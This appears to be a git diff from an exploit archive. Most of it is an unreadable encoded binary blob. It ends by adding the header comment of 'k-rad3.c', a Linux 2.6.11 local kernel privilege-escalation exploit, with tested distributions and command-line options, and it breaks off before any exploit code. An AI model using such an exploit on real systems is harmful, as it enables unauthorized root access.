z_dYsL-s%28Xftq#V~DfiRz;Qr7j%cveD~a~e_EvT>IoJOi{SpNDqU?PUb)683op~p zj>_}gbYsRX{<~S96)-D=tnrYps*8y*jJpa4O}Laq33*OR?vWascjbz@>+e+l=?^N8 z%f!1nAZdFJF6`p@J?hP3*Dv8J==50OZceB!0D~13LXx9B+{Nl1m@741je#Kn=%#ay z1i|s>R+DI(X9aKdgmR~2w5NB(xh51Dhes1{aKiQZ?PyH`*=gb|w2gtBj|=%!_zlPg z_TMo+9DnrBwiZ=>VRGfL*&R{aY&jWU}_oEEAm&&I;PGW@efyVMMzAz-_-GH z3RN`6WTTK{tNWPuJmL}qT*Um?(GGJ+EeO@}MhYo8T`a#M>|S~cBd@$Flt{A3zL&T3 zM}48WvB9>8Y||c^zUEY&`;TI5n%4Or>3zFp)@d@q`#;iL6iyvN!p4iB)vtvf<=H zk-fw*Q8mfMS5;g=Pc98=bdrHgSv)x}p|hSO9T^LJn@@e2P8O#;Ier4yOnqH-&HJuj zf+dn^6VBrZg1Ewj9HlYfe41lmZ?wT38&|1X%>7V4_37(>RV;ro4<~T9V7x^ue5N(4 z#(Uo_m3gqpOCU{7nTpyR^sAn0>UaO}B)|VJ3*6!37`IYzeMnLGfhcJ^Yf?w>;`hE= zHpTOr*)sgUJB^v2Xi=*dW2BscBdqi1?-t^*+4Ql5j{(Zi4q|Vm3#nIc?l8F*$r$>2 zTxl-+R<*42=RZo&?kkC2IV>FEQ7r z)igOm*7$|U>+KgTwl-e|Rw;adsUq#U6HRtSQOYJ)vF%+R>;yg%gB4XE zIpZQRj+do~%#&ykYpkYvbA&`7D9U^zGkkWD6`Xt(4X@=wND2s^M@&{}y^MyhyUT>quJyDE7F!!( zBmY!k#eo1N$2#U+gYw&LPK@nK+32O9Z(WVR{Bz)e*ICSyw0!>a27BhbT!K1|~mWyeJedpn0 zLYMMD(b)4Gv0lwBAL&JGJzSp7EirCRTWBAp3MCI8Jb}RU(Om7_HRNV@zG-+?POB%# zGi6HRS@HWiRD)=5udrhAJZu#7%x`bOmO|2@WQy^U_YLBD=u4p2KQo3Xs2`Th-3e`z zZVW+pjJ?lF(qGCIm>1V`yO`z*l~97?#f5q9*N7fjz`+D`LJ?6iUuryx?)HLRFPv5% zl4W?dWSHTHX*5@4J|HRaM^B3vAe5%k)4m5qpH;3496~C%WeL6ekAVBy(ACfV?%n z=4TDDW+JiD@y=mYWWZC??pve)y**zE5zfu-U%atufC00tPCHb zl2KTu&4MosLrq)umoyf0HY46UhVJ8Xp2|6!dLBChWcQM_EFL9#;Y?FZon?yRhTQjs zgJZVKb<44&AxYaoC@?W1}N`cw<4Nmi^-Z8#UxJM^zmF z@WbWlMV7~EMaY5a4DFghq0(K5-f@!P*ftqfjSlt5&qVyyhpPNDUNQ!oF{ay@vkZj; zjhA+gBt&aEqS9m;;*i*)eZR}SjnFD@T!&f%1sRg~nB5|$m$#GcqP{hT7=GdBH1Zu6 zqADLcDblTn(^(@}LQOWNo2mHoT7-!Fqx6nl0nvNO{b>WYi5U2YZkVkP&zd@46l%_R z<^9yafWEusxBG{EDN&M#{$=z8-6CxfM?R^@J55_Y9HV7(zKdG%hp;*ps$V)-9!THccXRrA+7D1UlW7qog~=*m;SY@NzG~h~6m=-XScZV}Ch6jT zj|ucWSl6aEw68Upyji9AYU!qSjvJ5XmdF@v3+BEhW`VR?QirQ28~Yrab~NAf&nGJv z5>o>kk-M^Q=&fpa`MrP;nC*o5al28CR^tZ>_j^BU{tt@KN%VFd#tASWAOtT zM~)sll-$bIzE&fjzic*}Tqs5TXO%WcWl3!)B`sI0`utaHzihW~XoiCzsZ^mU6ES0A zLV=8v5)OWU$^b7Nx|F%5K?VSIDHYe+bUwX(t+cx=Y%A~O_opj`C%PsFumW_7lP$Nt zGv!ofsuHotF~|bs6-sF^&!^42mdrDL5sr6kBwT}H;c63`-aZ8_eUSYJqkX#aJayR_ zu6?(q_|6gcuSg{rmjz6OKG5ILo=7*;4t@GnA19-ncN96FkE zeZ`;Knb||`g({8FLuk%$ltO8v{&W`rSp6G;4;tF)bq3XDby2}LhrZdJ_NQX4F3TG$ ztOv5ntK;zwsr>cd3rCKoxb6-Yso6gAH!JY-Nm26_<7uzt_0RKOl##g`%R6$Nq3Gyx zBj#G(3?mUT&Yq_Xfi$#fho6t*|OOAH9yQ?z3$IDcC!w^YiRd>*CXxziU5$SD_-oK7k?uWXtezMA) zQgW^LZ3@eQ23L5@(@3WpJFJ)HQ-+2p;>utP)5#H+K(j*Ecs}# zb_A=IGQ?Zu&FclH+G6ME57Q-L%bNUrGd!f9YqE_`fr4Aj%xdQQ92qvoqeVr0fy2`g z8KBq#pV$y%Wy*SonmzUh9EUtpkulPDt&SYvm0E*7px*t{3s|0jP~9G~`B>?Vj(GhQ zQFi_Kkw4QvTObdPK2sT=4bCXNix6finhpw#Y?+1F}p4lc#Wyo zWUDW3S(pszS zE_3zk@I~m5wWQ{(RM=TEA;V}0L$ok8u(eymoZNe-IlSVfH~NFaVQetamXVzz{gCt9 z$Ut0IdahjrZlMPq2eQ&Z-|GuS#s+c5;Isq5w&N-hGu~Lb4~`vzuP`TWGpp!mif;7I z_V}d25BN-lHC0@~$VmG_4(5J=uK7sqrFFj68Sc&Zr#l+recDi9%^eKP-zn9%XcMOf z6tV*ATzqqPTo?}g8EzL6QF&4Ko))#vtYJ%@!ewWNHH?>yhdMog>~D)@1cq}M)cCi| zsAPu(EkP}j3e%<=YZ*k`BnLd96K+uu*6__mh!lw)*jgiT@)cc^cM5|uUp9B>szw1+uPx@lLTik9el?~j!Fp4b#I2&K$pW6h!Azo}%kJDV zfMM-5d&DVwumh65vMf`ygGEmS%xHHrYjTNjsrKea#Qf#}NTs6j*2e)LYf+LTj+%Q~ z_pK`0cpqJah0kRuwuP_em4M=N|HX=polH)0BW40Wm)#0BtU|j)=X*k(e3z=o8Vn%RE6h`mZdE_kU7S-u4yZd_J5`{$FCIK^ z#m(kEIQT%M(w^69l$@4sOXUY>V%qgRFtYC$yhtz+h)ZvMim22@&qr`xuootxWksad zrjLPvjBMb5}|Pj9_Q8y8k8dmbOc6Ui=#js8Y< z73|`N=$;N@6FeI<8ta zVnm?V2^PkoGdnR^BlqLG3}UWjan$T5AUVdK=5+W~SXt}z`R@stx6V^Sb`xT=O6P8S z;XfYWg;3*L=REtLsb3Y&H@{(9wc#R9P2HWvq7z&kmVBX(SEI^SI+?WGkuQqCefecb zI)|+6)!0kV$uj7#UbY>y>@98c00fqF2t97Z+kBWuYnlt>hqibs3is`y_p@HMcE(=O zYZV&+C?l@XeVa~m3x})9nkQQ4@e&sB1&56OPtrEm$?-fZ>Kf7(jguhhqogUP&er;f zJ7OBdwHP4VHV{W7S*YgBWF?khQX@O^MaE{-dw2BkX8>%r!t(3G&QqDz8`xc*z2szG z_4_h4dDa|he9IKv!}6+{VIq2sV4YP7G}^geDLOe@=I z)+R83l4SDJP)5=Kp(u(HS@tzia>w{>=aX$CqyB46DCJaK<%b~QBA2J-^)}ea4Lg#2 z6HmRp9|IB|oXWd7#Lqcj&IAvbwX3wtP+JA2RH#}%5PR)bV>MMqb)7ts#wJ_ zpHOd{x6{o#uq3&2-fw6ur51>53~<6Aj@zYl4&I752+{o_0ZLR}J$pqA2h>s@g`deI zDR)%`Ow5wm0PTPeIhGdSkV4){E06cmbm5;Ui6RqDJq1;#<{lUbMESk0kyLrFJ8DPF zt_`5E|9Jh4CewX0lHxp*0X5a+3netyA16C5?;6DTGj+BXoJoSa@I!Pws_{{8gx_Mb zdv9CYIy)}GSSaNT&5LNS$zGvFP1&h?o}Ue7M|Kuz2sN$00a`IMLcY08&nQ>>;+zgaZ@vSIN{ zhhUa>AH&fDRopz1#?w5{LQ~ed&(E~7)qKl;@QQmsl!$(3cVP1WL7rE_ z#$40u_ukbE$=+NHuKVv;Bg>zb7!N)h|#Nl;E*O3|1N2QkgkEK#<#@CoA%cn|J^-bR2 z>fO(pith-?1`btd-J__)UT88q0Ea&j+R^|UmQK*a*?8m?Y95or!lA=?)~DsMD4`y0 znE$2={7}Y@@B_gg7I?8xgph1_vc1n8Iuay{z~rQ(rMW-K8w_iCkL2cc@PYT^;un`W zF0amG+xbQgdy}Gu$2QE-Ttj&s{i?uA{A$V_$XD0yv%*SV7qBn%Dns-Dshlv1QH1iO0rq-0N%>Z!52cpcV{^L6Dl_!iaXid}dI2BfRn9?YFWVT+6MM#2W`Z zLXDy|qb0-UDl3$}W2~??6jbQuARbA$ve;-hmp`p=n?2`p20mA?(g8AhYivJVWQBjo zO~vYA6@TtD2y2$qDqNtzFR=-~bi{G0tYZC<5Dq<^T$hk1FRe`Zj>_L2*RPMb!gX2# zd~(YWwj@HVb0cg=5&K&9s)!Oen{unAn4DJCrft~h_tO0Rnrr^XiTZtpBUz&b_kd>v zO!MQN0bvakH?51EX5nmq20%wyTNGVMNtbvh9=BMj97V-xeMLfYDog*6%X-qLMZNJt zz)XIZJ%gb2#iLB^@pfkkOU_@XXa(HxN)<7Y%zTM+tz>1ufgHnMsraSr+Fiz5b3R}u z+4_9%$%tN*RCiz0UjHi`(!j_AH{oCyUaxHj&B>2U_veaZD=q-n`;2FqM z0!?=Bg%*E_r#btDlr#s|9x&>_J(01BNb1>s(&e2ARyLQ1o=zVg5=tXq_;~9!E3(Aq zD%aK~%3ma}%)3$mDPCdC1^b7%OE044lRa^9Xd>zG;AxkQb;f$-HqxJNJi~RBMd$Bl zzh=q&P!4s*ZPNiFlT0p-HDh;78F?tl($bpZ8bGuakGU&ctNZA2X$L*U_`Sbe`>>Wx zmNf1oeq3t#x!#}Ek!IgrJ00uJZBRqw25|IIC}$znFus_?Ne|`#f+IMbzZ$`Gh!_WV z)3L0B`T?<_+#ChTC0NE=d$sn01b=3<1e38nF~PWM-i6rrf+1OnjRc_&LnAlVR)%in z*D;3!08^rSz&2&RI>0wmMO+^V0bqDDST%(=6Yk>hW6*bos43%6U0f}%A$lW3&s=k` zR#qj%nL@zL@xy~cNue>K0yD>j7z%C^87(Q-nqyQQU^EN2A#MnOegSv=+2cVnDHYLR zB4^~IbYuJ7#=GLQ)}S0N#HEGq3+7bbi%qkK6!ZKG`VSh!ZXGN(O-R|XU+6aLY@MWpyz4U9U`di$p?c<%tk>@tRKI>2Wl&}~4 zpP&&{N#K=VRT(NLghnV#MRbYzh2H_060ZT~#v$GT1NOjqoVG!GZ%~6`x*jb{ID=tpDJQ(el#$vFt8Z)>9oGC(InO?#| zI}<-UhQ(e7(qx5ZQ%N_(S_te9uv>>z!<`~Mk#kVN7yPXMEPisJo)l$xp|MCN2yyV9 zxq8w7nC@VwkDSAUbOba_)PMz5hj+_75CgZZ6_M|U^k+6Z$ml%^jGzbz`o<`_cDqu*n1{F;s}#n3PErS+sPz{R|p8f{r#wE6$1 zv9FGba@+qVM3h##r35LZK}zZFMnGD+yA-5LKsrWBx#2hTm{ zo_nw7x8C_@)?&@D_p|q&{e0^CY_-usq`GxHplw@w{0Fjyy%ifceT8cR!e7-r*be2f z$XPct#)VS|lUf^uns;wbvNU!y;h;BvBUuUm9 zgM0*6$Gb|B(f0{45qv#U-sv@MC-+Q{57bjE^yi53fY~1bZp1|4t;Ne;?CVzs&Z*A- zD==2Pz!+e*(Z5&Z-^UfS^kR;;G*%Za5ced% z(ga@y6o48YvMcC6b@}}u2zbdtjtTYkAX!Z1uu=kAO_pp))^3@scM~VQF{+@)I7L2C z4Sf#_zo2~)y^#~Sq=;bay!6TJctOvipkskb3$!oa{J_cRAK6%R!EDS$31i#C@lPFb zq^&t~74hT0U~;gwm3R8wMoXB;%lHOVeP&K;KR;~cR3CO{pL6Mm4+xST6db;Qove&= zN~k8=O6c$fbZei-kbfIGMIq^>S%EbfOI41m73jnoSsDz zXSkL87W*nPnJFO>LLo`szCL%<$s>E-hmE`GkEE; z@rN*{=q0x$$rjx2NZx+qYIbiMSceP*2>F~fJHs5 zN$1I%U7PAO7pMSeHzl!`LrCj`O}$TP?pB^#%N;?(TVKl~8}asU16t5CEK`LTS4ncQ zlEq5fDd5}{^=+eRQwcY&l2wlpY|*mrzN%|%N)bXRbiUc>WJ@TDh^KhDAEgwd0k)E} z;O0`#KdP?Z%S(|}jm<6-J~N@}H>?0bx*M!H7T#*DPM%xdy%OkLoPE%cg1Aq0paB1= z=Xl+OcB?B!h`;+SoQ-EPbduRy?)HnVe1JH9GtFce7&A6hhauUXq5Po*m*^Gab8o7N zb|5{a{H^w}R>Oe(Y(%?wb$7bmAJO6X=})9vEetQ*`Ag}%MZG}}gR(;TZjm(dTXeB< z$ajf*>ZTX`^hUl%mY!oZcK5j$j!OsLHh4IM(QpPxwXUbC#VYZ%hn>tfPqrp+kTDDEE6l1N zWnj^RfLgKSGwJ{vu+V!pVxwkz?WF63jQOp*ss0XY(((O8-IE9D| zdwT3pwnieFkm#tU9FZsPK?{gtLS8H#4-laKPf)j1ntw@?B_eIqaDq@lC7A1nGuL|j zSFzbYa4wAl=U!&}XyX1mG7=nf_;@Xeuzt}`n)pk&k7)7b+?w#U;wE0p;LY7rhOY0i z_+ZWz$hRVLZnhoNgH%>z(=L{Qq=0_}z@6Ed9^jz$;o~I6r7H!&eq~X;CJ&}2igf45vr@Hr&d4ou7C7-rMr^NX2z5R-yw6i7!6N;ITe;x#Ntb*Bxmn zTI_|-Tq;UVSiTGPy<*+*xCYn5VLxH~2USzfyazl>`iCZ}7qv3Fmz1CsKBw`#=Hzr}ZRhS(db!{OU80r+ zb9=ZaZ^dHN(%~e`4$o*oPR@+`ek%Cn8n{`r9~PD`uKKAdX~^AwSYs5zqb=4^Y9-Kz z@QzqVBK9>Bp5hwO((%E}a`6qBwuQ?y%^)SWyxr*}s(a)e-vCaJHE!GOk6HsnVjA4+ zQF6W3V&DvTAT^LPkrjJyHL3TBcRZDXWOxe%`DRLBjXx4+Zlxc`xMH2Ffu8{ zVbC{9C_pLWhm24KuB;O8Xid)79KF|{*tiR!@SegaT{jGEyxyDb=KT5#0M$10_b!()d7W#GGZ?6i1A6D=A zj7MyP?E;$43YZIdORPw)&+svF-|yrqOUd`{)yE!i%#~*Q$-21;f-9b)Aytg=k!ad# zP9VHu@J+jDPILmM;Z6A~%CXP&DH91>(G$}NB*`!0tSKp)M8zhQkvo!z$mY$tZVO~D zvF=Vh`)fo{egyQC(lsog^JGP=(a^p@o>(OWxbD0olmHA=;=x1-&BWZ~+86e^Zn9-1 zlz6ORw;n!>4}AAP?Vkax6Z*`=<-UN8Cuf>`62F_s4%$|{Y_;zdYvKuea**c#Kh7pr zG(KZQEej^!%aWnj;zexaEF&5LGzPqqD3rp|HjI{fvnUq2DEz5HtPb;DT>V$ULT|reCssR*Alm&e1)(9+L#sAZ$q}p%3n^;fRnN+? z$q>$_4>bKwZDZv+I&xPl?(%EJ%js2ySCvWvY0_i^&%N3%7pxdCghF2*zONvj5t+K9 zI>qF9<5?!1+23oPIwnxD!m&oewV{Smy9HW1eDH3sQE#$Utp%#qze*9F^d;Iaj@T8H z^CJUM>kU?exH&?h=xn84RD+YD?@n#kjmJY$bAkho0rY)cBJNSatW_VnUQx^B=b%x~ z2+rjNmr{q6xU$}^*k$$9KIvoSCvjE32*oxf5n{pu(K&e^>4KS)`?{)7F;r-H%sf0( zl~tKz;!FrVc-r_(0qGk?Vx7`a49Jh%>0oscHs${%S6j@k-#Cs$PA+XVEALP9mZ9p^ zebS~D&U5-`z@7IeGM53y4Ape`sOy)oe-F{g2tIis?p;NA<#NyTKCI+s-1BqbbUcG( zy-VGKW9hghJ97{xHFP^X{%HR4X;>@SO9dI!sjG_3qNfM`>1ZrbuDdr;6mcoIW*EsI zRn=p*6>+I4J-o6Hjg1jpy~CGU*+>>porrrf1QwT^CU$l1YMb*oZ$qHLQ2Hyc1(Qam z$`yJPk&{kqTzDmSqUvC3=e1RgbO-n>r|4y!h=|D*`l71~&M-gRf?Gff{ATo_(v z$_*IOEo{R~t`V+dI!gc6zt>Jmob6|_C@@F`Q%##6yxyOUvQil=huI5c#Gu8@tc~?y z&xcRF;5~*bA+s2sVZ7$J6y6Iz8NT)|R&DOnNG6^2->F@Py#1-Fon9K$M=4LG>QNvM zeohp+d^cW&!$m<@#noy@K6_dae3GZbkqVn!{FMSYZuA}&8|v7MyyCT)paL42R8XuO zd_tpo!)?lCzQF&?;YyV%gD>H5A1xiG&PJvEe`wHrZ~YTfLY;@KsUTap1Aq{3m~?Pr09aY(TVoKD#1*6X1L4qYgaO z>pSx(wXnr%k`=e^J9(9ZiMDfoYC_`n;d7pg?(zZQ0h;FAPc!_HT7xrLF2M#?$ z4%|mjT3|$M!qgGqd$>V8>mEg`+{z2^d`V`d_y&)F7=9_z9vZw#1q`PoTbCd}JFQD) zT)2KQ7AJRTM=M@|X2;#4_Wzcnc=i2{5uEWB5$kl+GzGgoF3YR0xt`W_zt>GUxAxtW z-HlnO#^;oN&5@O5wja8@&8G(hrqxiF=4yP2L>v)6eowYT`X#%1V%5I^&gWm7*rX$} zR{2|&@mq!c!d=z;XFPirpl9M6L&T6A<75BVV40L>%_WW8HoV^A*SsVZYlqi+ETjCEpfJmaib$LR}S_f48L99!SiAY^k5fY z`mpvc=?a+~$TK@|pkIPV);P8&D~@~^3UiE|QR`JgXzMrCzaG%7z3OevcL5QRs55AzB)cj4Bj{q{>cAt)Qlgsc=W&Ym(DD#|R4bQC@jfu&R>MKXS zcQ=f-8LK)8e6u_~HkCv?S?!U*?OjixAusq8ADde#Br7cLD(wvbA%T+A{Ze>TjRRs)z_}X(^3&jKV&t8olW?@)GctyEPW{i|rZL4=HekeAdh&rZx6wUnd0n+>ou)0ga46qE30!UQRml!S4n+Za$Mj zO^W9r_^!N(!4$Qszdo=<$%s@U0{93LUOUC-<9P-2Zm(J2H{YP55CP5ez)PSgDO)oF z0ohFR=v?e%otK5yB@1!M_`&Z^t9|Z_h)JZd8zOlb@+SWg8Y|b$XVw5$`Q}rWMmckD z`2j?)xmYx{LB?%AXKARk=D*>4Kj?qqyRXZG$sC-h=iQZs>-U}$D97C9Au#StwoG-^ z{R`F0-iA{SxcCEwGo~G-550aO_`*3I85z0K-+#07xiNvvcuIDU0hqrplx(9|6usrk z`c8sxqiri_7;CrnVpE!yV@T49Xqo-~$`eYSAxyogy}m|Te3w^ct8xowclqkK;_}n? zZ71B$1@@G{A3iD5`yaZ)+eXMd-TX5?x%KNW>@Jy;P`7Zn zvH=nxEJ0>3V$FM7#4hl-N&%lBYtC_u!v%)Qb^1^N{cG7$_?0Et7ptYp$>K#tqJsH` z(A#8iKJ=nuX=F%DoaewP=L7&4ywV@_$ozcxpmd6WPzcSd1?LnC=GL|i4j_r# zFFNU6<7`}Tl%G+vdu=${I+28@dR6Y|-L47@g7q2>G*g;*__=c|yAsK8}1Iqh!a; zj5r)?im`{VBYc&Z;h%*$r>#D!?!WAaLRR!X80t9}^$AdUEQ+qkH>#x~BI?EA1~W2) zDz^EwPqDF!f}{1tV>-c;4;xL{kKASy2mQly20dg;V zpLL5OE)A2${QX2OMxW zEAFn-=n;@^r4PF&oUU89W!;Bh(}?2+07|ZG)|&s3WC`q&M&K?vJ+;udU?g$(OUa3a z`*>}la^n=5m@8&KkaX5VsNVG;?0;#=)bob$2#$Qb5)cl;tZwlEy$$5wOp^)&LU{=<(+R3f{M zLv?LD{7y0x%J&s#Jr$z4o`yyoj+!l(^6@#Kp2%M>i|F_VrTtjeXd(b+et`D7TpE(L zMu|(glg1IizS)@Jo6v3jKz*pv>+&Oy!9!%9{rkG5>UzU+!EDp($I5fV#|79~;xwH< zcgp03c#Oo@E=F+N#cqv<4ECu)#D5U1^z+UMDbV?Y8sAfA-b#<_LdP~;||?h(`u$kQK$<)?9GwXv)PJ!FX+i!k#?A=J@U<=!qz>WyaO zm1gEytR#Eu5~(UfwsZ&SmfVOE! z87PS?D4PE25@Y8b_?8SRBqsVbq)%eT4zJjdB;tG8ys+C z_6JM; zh#~A`JqV)1qpms{Xqm0RiJ2{B5<>Z@5m)uJo8faKBrt`Q0 zKWr&5sVeY^fxhXyJ8$PVL{wFJsfkaP5$(&-xKtaM6xnK6kxxkg4dxb8BIb_*C=M zJ?0J1iCR?9b=f%tx!>in6K_lMen`r=|5kg=v&-I9?R$d9U?R}}_iPA6t6gF&fw2+D zA(|TJf7&g3=>R8{G>&=1l>gQip#zy9^=el_C6aDB3zEj|mwkR*S>S(bt(00?OfGte zH6cSkBe2?Q|6cKGND{tl?$x~velg|n)-!*n?SY9{4IAxsk$KgvWKB&iuTa^SshZw5 zcfI~6PcFi9;slv=a}O{xzhfe-Q-C1CJDbAVk~`X=@mJ@=2H)Ve)#d zzF`{{NQ(w+SA&P=YXsuEYp>m|Uz+4Ody$(-lKS2)oeJwpb|iyR`%eZX@oxq-U)KF+ zg2*!MTCMurUYe)KVmhFnQdtI7#{T%tdgy+)?ITv9f*zxM-+nw1?Y>umni~^^*>od% zA$MsSuF~vXF3Nmb`b+*y8h!RHq$%Zs@N((eO_+a&XbD$`e!pkvi@y^BuFGe%A}gi3 zG5nwCIxpMJ=OGh%K+luwJFR}@1uj*qqS~%pS}yK3Gg_Zlg2e zeyyAge9ypfT^sy#ODsgFx1I>{Gc|>0H&ABTkDK;R$Lit3fhX-6Q(G4uyA351;iU2nBAkEdwOEr|)vW98x`!*Nyoq2?ug zJ7>PS{qK6U#Xl2MAFjTpvuq z(#Dude;1!(>Q4Clj}a%x6_xw%;_3A?YDkLe9Gd;^@XPEzL%ngFHE6TFU|(tD+#Pwq z*$lpksYFCVAl>|ZVd_z@ZzkOWZ0UAZBZ33#4M#-J7$3TD$HOO9v&Ooi5w&l)7=nl` zhhN_m*hqP|j%3MmI6p&5dK<*n&sOVdn0^GBr_k@&uMDeZ-?P{8K_AE91eQLUKmAAy= z{iS46!vmX*QS8-zz3UUgVmo}x{ZN7&HapcV826tMrEe$pw>^mvFZ9#3Mn*-NuC?)Q z5@RJNDn&d@#Rr8fTOsW@1>qwMEW>6#M1OQF-Orca;pf+)npM&@jf$h6OKGj!-j$1f z>~iT@Xw%LTNNvB2E;nY?zAR&r>|&iR&W?{N(s1}w-?>P6e%Y_?zu#Cmi2Qm;(32us zrQYHlxK?_a8eL^iw>bsyZWwz*ubh>T^$YIuPXbODD6bYh)c=KQYf>Wj!HIJgjDW!P zkP-54#4^8zQiQ6(j~;t1_1PC~@z1ggD|_X+t>1m__SZhtKY4|Jy=00d%f?$^)EB!T z%+uHsw@7=J(B*{6nxDhWw79+$dRuvdtXt^VmnqP24*6P!_toAz_K1U7&dX79A3Im7 z2Qk{aJTWMsvoG^k^r3Z)a?@1|S)l9Copn3YXGYcOu*g6TRQ0ESm|s=m-e?_$c{ zWCI)En4K;@+U*IP`#3gz6ud``bx#UzQveAZe=LJ*?dO!4DEpJMwoh0~|C%{p{FS|5 zix6p2GXLd#jz|2l+K3 zGuC&5uar}T99isADTeW1Mx_-kT^X8RLZ(&p;pNkGVI|NND#9BYS~W=h^(}~*zr9SL zC*`hFOhF*r_S}S9j~kuDRB0Y`Wqw9>Zk3NY8O?C~6ciGFLz^seOHQrSN}}2w5#pa% z&$JDY`@;UN_K0H)?3kdx zjv}sy!%EE@=I7{bavn?etn@)@`#pLKkj<#f`=h}%qE=bF!d%G`@a$9(=#i>MpkQCD zABDP#`=W0mIvu(<6fz=Z%g6X;UGKOOpZ{&LqFY!6*7_$M$zc8*4!flS>9a(Fk6w%a zZDID)xe^={X09oaF!LkNO?gXt^dvvENJQr#+sA2(ZVlP1zJNYq>8ilWN$?qBSCEW-I#xMvxjGRF{Fj5e;K(=daM66(eoT>dPDW-A@B}E?WCm>{< zlN8gU(@L#`Xu`i^aV)K{yx-ViL_x1fMnH;`*r4PgYZAL0-?3E5?&hP0i~v3NfP0Wspqw(_+uyQf zX`jR`BwWo?(DDk3Fqf7!T_W@mDEJj+UUVRYcOJY8C035Y-g*Z+g+Ha`j8UT*Jx;Y z`M1{W!sz`CF_jq}dXKNeVgWxcslhM4Cns;)NMqTq@+tmOGf2LBnAgFSsL zLWlWK%z7*?m)*{GNtEfDiN+qzrr-Vwa*|WK?^d5Z+C3oMMQU&EfBEcrvy-`B25zO8 zsu`RkYI~hjPC(*H2Dd+YnfcdZNM2Z!Xf1SK*YMc-RNqUH@WvlgN zBroV^<<019`IqG~GMr*S2*3M zGF8A52qf;07vZF7iCG$!Dd+)e`Ov(9v+0UKC=zayZmxb@(VQIV?qy57r(fTF6&Vd| ziG-{|W&`aXiPJ_f@!MkycLg!4CfrVJS1{2=yW~t^@_dAre#tOE6O$$CK|o0^bN;Aa z)_uOZrKP^gP|JphKv*NGWP6JQo=T%`%V>Lp$!pq`nJHT9FHITRC#dGbO>rc$rNRa; z)6pHVnzJNou}pfj$k|BHQMCDVslF$sL!ABO8LxW}y+0i{yn-Gepc=XLHLTE_WQwzW zAPTW-p15iC1^;sl_oDn8Y^8;Bl7Qty$rW&F@voob`@&+aVg-C_Np;L00pYc=e+JU% zxa?l-YWFYb%l-M8pW=c#GP&%V9rPI5SfL@7NrOl zQZowG{^(Zn+F>Mh?|!5AjfB^i#|`r@x@BFyhW#wBtH#vLmgv>Wt1#3Mjq9_-JqmTT zT+SlGo_ZZk+n-NAr1>IGV}*_1R(^1&A&Y+XV19Tjw`ISzEm60tO&YG83~B{DwG#mx z_o<(;>0{0KHFPEM2DWK%e=S#3{n1f+TLK(*bVI$e+sWa4brt+;XV!KDE7-3uF6)*w zwgi3op<9=zsBo$+f(Ex)Dd?K3#qO4cX0)C3{nqXQdyoTNHZSEL9zqounc4`L#M3$0 zKpHT>gio8UImJ2I;E(%aS%ytHwLVN2>R(hI=4`)+=ByjiJ5`I@BeY-0QEZvj+*w}A zYzE={2ocI2TyBbcpK0|9s2z7|(p2gw2M}8l6rM4)_VapQe!LCGnM(9>I|+j#`1E z`&KmeMkq2NB&V|>4zteSg8owr8~J_GLCM>@Uj!>FO_vT4hIFAsAuFFo0ZRi=A)Y4r z3fJg`>k-cMM$Bsm1GJWgGvv=1Fzgpxi#_Kq&ijS_Y0-?2@$QRP_j}V?!k)Cy?E|*Ow=!9Ipb?di<~x4;GGQKFIty zF)8Lc63QtZD9TFw2g`_vr;?QC^YuU%R9>V_B)B+6%B%}>sR<)enWGsuFzN^KgID~( zqt}f?Ib7!Y=`R1dz^E4K7cznLmetiJ7F8DK6_cI1AExLBO`xGAJcX3WBP2AxE7p~>8Y}l_~T(m7O zjIDU1d7r80R3YI79l-}?Gsc$>mA$!+@zrQ2$ztLkE-QV!eEXP;fbbL*qw}tmfp4dR z-JHZev9G?SfnU0(H8|WTb&@1MvVH~;kf`iAn#JR{xt}U35SNTelnBqgPhW|N_$ zth{>WlVk|%c~n!?`0joW4!Tm(&W;Vcu$awtkWdx}J@R#fH($TKyNj{5I(E6P$R75R zy=kWJG!5tcVihzHVNxaMBrPQ+_2b>jnXipQlZ=I!t5X?m$R#pS)Q_SxAt@^>-1+*R zS_IL92M^?J>MawJcedu8Mjyt?a48WIGPHl_d-hC}ru-`}Cpbvf(UFs!e5XT$Zrnd2 zU@PO&Ify{@8dYpxysth>x(?ZlltuDPyPJR``%p;|^Y&E}y0s(Tw|bW?hEsPh$W;1M zIYq1d@&)tugV$qI518Ia9hfAzdIT+|W- z34{!PX@47me6a)7SfsQqnd%+ZFJLtenR9an!JR94&Bp}fnM?~8Z0VV3rvZWK2hRM3 zxrSM7-+McrO2&ZtNce82I$?^Aq$TwX?Hvm7#)e>=q_Q&ZtiHZf{+LDE53Yzol6HFj z)TND|Q(SwA6-2R<5KTQoy4!W6!xO*L>0(9t5d#g?b8?E~-Uk#2#BGqk#|bcyzT4Uo zXuY=P;VFs$Tf(LGH7O-#SR;b^ke4drbjQ(lvI?e`*x$3P3mc)kXJE)Ui9hH z+nmg7Df*y*=9t}PoMjq%GAvZAgkN*BzbZ?^#M7;6Xg3iMQn1^6y0F)kdcZINz+jQO z{dxg!_cIoKAZqtBn?~2j+)h*~>y$UVQR{*+ILoVj@f>7fFO36NAG*=scAk-Gw!T-B za)^wQ+UoNBQJd%@iXKho>9Eqt31o2e{$q5;w=O?>nCF19w|&1(SVonpfTBx`=((UE OU-Hr_Qk4>~ga03D1mi0J literal 0 HcmV?d00001 diff --git a/2005/CVE-2005-0736/1397.c b/2005/CVE-2005-0736/1397.c new file mode 100644 index 0000000..acb00a8 --- /dev/null +++ b/2005/CVE-2005-0736/1397.c @@ -0,0 +1,730 @@ +/* +* k-rad3.c - linux 2.6.11 and below CPL 0 kernel local exploit v3 +* Discovered and original exploit coded Jan 2005 by sd +* +********************************************************************* +* +* Modified 2005/9 by alert7 +* XFOCUS Security Team http://www.xfocus.org +* +* gcc -o k-rad3 k-rad3.c -static -O2 +* +* tested succeed : +* on default installed RHEL4(2.6.9-5.EL and 2.6.9-5.ELsmp) +* 2.6.9-5.EL ./k-rad3 -p 2 +* 2.6.9-5.ELsmp ./k-rad3 -a -p 7 +* on default installed maglic linux 1.2 +* MagicLinux 2.6.9 #1 ./k-rad3 -t 1 -p 2 +* +* thank watercloud tested maglic linux 1.2 +* thank eist provide RHEL4 to test +* thank sd share his stuff. +* thank xfocus & xfocus's firends +* +* +* TODO: +* CASE 1: use stack > 0xc0000000 +* CASE 2: CONFIG_X86_PAE define ,but cpu flag no pse +* +*[alert7@MagicLinux ~]$ ./k-rad3 -h +*[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ] +*[ Discovered Jan 2005 by sd ] +*[ Modified 2005/9 by alert7 ] +* +*Usage: ./k-rad3 +* -s forced cpu flag pse +* -a define CONFIG_X86_PAE,default none +* -e have two kernel code,default 0 +* -p alloc pages(4k) ,default 1. Increase from 1 to 7 +* The higher number the more likely it will crash +* -t default 0 +* 